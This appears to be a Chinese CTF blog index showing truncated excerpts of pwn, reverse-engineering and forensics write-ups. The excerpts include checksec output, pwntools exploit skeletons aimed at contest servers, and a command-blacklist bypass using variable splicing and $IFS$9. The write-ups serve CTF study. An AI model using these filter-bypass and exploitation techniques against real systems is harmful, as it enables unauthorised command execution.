堆
堆概述什么是堆在程序运行过程中,堆可以提供动态分布的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。
堆管理器处于用户程序与内核中间,主要做以下工作:
1.响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序,同时为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。
2.管理用户所释放的内存。一般来说用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存请求。
Linux 中早期的堆分配与回收由 Doug Lea 实现,但它在并行处理多个线程时,会共享进程的堆内存空间。因此,为了安全性,一个线程使用堆时,会进行加锁。然而,与此同时,加锁会导致其它线程无法使用堆,降低了内存分配和回收的高效性。同时,如果在多线程使用时,没能正确控制,也可能影响内存分配和回收的正确性。Wolfram Gloger 在 D ...
polar2025夏季赛复现
flow整数溢出
check
12345678桌面$ checksec pwn[*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
有system和/bin/sh,有gets在exit函数中但需要栈溢出控制执行流
漏洞函数
1234567891011121314151617181920212223242526272829char *test(){ char buf[824]; // [esp+0h] [ebp-338h] BYREF printf("Enter shell:"); read(0, buf, 0x300u); return xxx(buf);}char *__c ...
H&NCTFwp
PWN三步走战略简单的orw
check
1234567891011桌面$ checksec orw[*] '/home/pwn/桌面/orw' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled
mmap分配了一个可读写执行的段buf,用第一个read读shellcode到buf上第二个read栈溢出执行buf上的shellcode读出flag,要注意一开始用getchar接收了一个字节
12345678910111213141516171819202122232425262 ...
LitCTF wp(更新中)
PWNtest_your_nc010edi打开附件
12345678910111213#!/bin/python3import osprint("input your command")blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']while True: command = input() for i in blacklist: if i in command: exit(0) os.system(command)
发现过滤了一些指令,可以通过变量拼接构造cat,通过$IFS$9绕过空格过滤分隔指令
1a=c;b=at;c=fl;d=ag;$a$b$IFS$9$c$d
也可以用
1$0 , /bin/s? s' ...
IDA动态调试
IDA动态调试IDA动调有图形化界面,做逆向的时候学会了windows的,在回顾动态链接的延迟绑定的时候又尝试了用IDA远程动调elf文件
目前了解到IDA动态调试可以通过附加到一个已经运行的进程上,从而开始调试,也可以启动新进程来调试
指令F9继续运行,F7步入,F8步过,F2下断点
通过Debugger-Breakpoints-Breakpoint list或者Ctrl+Alt+B来查看已经下的断点
通过Debugger-Debugger windows-Stack trace或者Ctrl+Alt+S查看是谁调用了当前的函数
下断点IDA中下断点要启动源码级调试,否则断点无效
也可以在Debugger中找到
动调elf:动调elf是利用IDA自己提供的调试服务器,如 linux_server 或 linux_server64 ,这些服务器可以在目标机器上运行,并通过特定端口与 IDA 客户端通信,通过远程调试。
首先要打开安装IDA的目录在/dbgsrv中找到linux_server和linux_sever32两个文件,将其复制到装有linux系统的虚拟 ...
ret2dlresolve
ret2dlresolve参考资料:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
https://blog.csdn.net/seaaseesa/article/details/104478081
Return-to-dl-resolve | BruceFan’s Blog
原理:相关结构ELF可执行文件由ELF头部、程序头部表和其对应的段、节头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。结构如下:
1234567typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un;} Elf32_Dyn;
其中tag对应着每个节,比如JMPREL对应着.rel.plt
节中包含目 ...
iscc wp
pwn签开了canary,可以用printf泄露canary后面直接打libc就好了
libc:libc database search
1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')#io = remote('192.168.9.151',55097)#io = process(# ["/home/pwn/桌面/ld.so.2", "./pwn"],# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},#)#io=process('./pwn')io=remote('101.200.15 ...
蓝桥杯wp
蓝桥杯wp数据分析ezEvtx筛选出告警日志发现文件操作
flag{confidential.docx }
flowzip010Editor打开搜索flag字符串
flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}
密码破解Enigma
输入输出交换即可
漏洞挖掘与分析RuneBreach简单的ORW,输入4次N后会gameover在bss段上分配一个可读写执行的区域可以用来写系统调用,最后会return到该区域
exp
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import*context(arch = 'amd64',os = 'linux',log_level = 'debug')io=remote('39.107.248.198',33600)#io=process('./pwn' ...
取证
Linux相关搭建该服务器的技术员IP地址是多少(查看登录信息)1last
查看操作系统发行版本号1cat /etc/*-release
扩展:查看Linux发行版名称、版本号和内核版本的方法
bash # lsb_release -aLSB( Linux 标准库(Linux Standard Base))能够打印发行版的具体信息, 包括发行版名称、版本号、代号等。
bash # cat /etc/*-releaserelease 文件通常被视为操作系统的标识。在 /etc 目录下放置了很多记录着发行版各种信息的文件, 每个发行版都各自有一套这样记录着相关信息的文件。
bash # uname -auname(unix name 的意思) 是一个打印系统信息的工具, 包括内核名称、版本号、系统详细信息以及所运行的操作系统等等。
bash # cat /proc/version记录 Linux 内核的版本、用于编译内核的 gcc 的版本、内核编译的时间, 以及内核编译者的用户名。
bash # dmesg | grep “lin ...
baseCTF浮现
BaseCTF2024新生赛pwn题浮现只记录了部分题目
她与你皆失简单的ret2libc但是有个小tips,获取二次输入如果直接跳转到main函数程序无法打通估计是某个寄存器的值不满足,可以选择跳转到start的地址从头开始运行程序保证寄存器的值正常
123456789101112131415161718192021222324252627282930from pwn import*context(arch='amd64',os = 'linux',log_level='debug')io=remote('gz.imxbt.cn',20992)#io=process('./pwn')elf=ELF('./pwn')libc=ELF('./libc.so.6')pop_rdi= 0x401176ret_addr = 0x0040101aread = elf.sym['read']puts_plt = elf.plt[' ...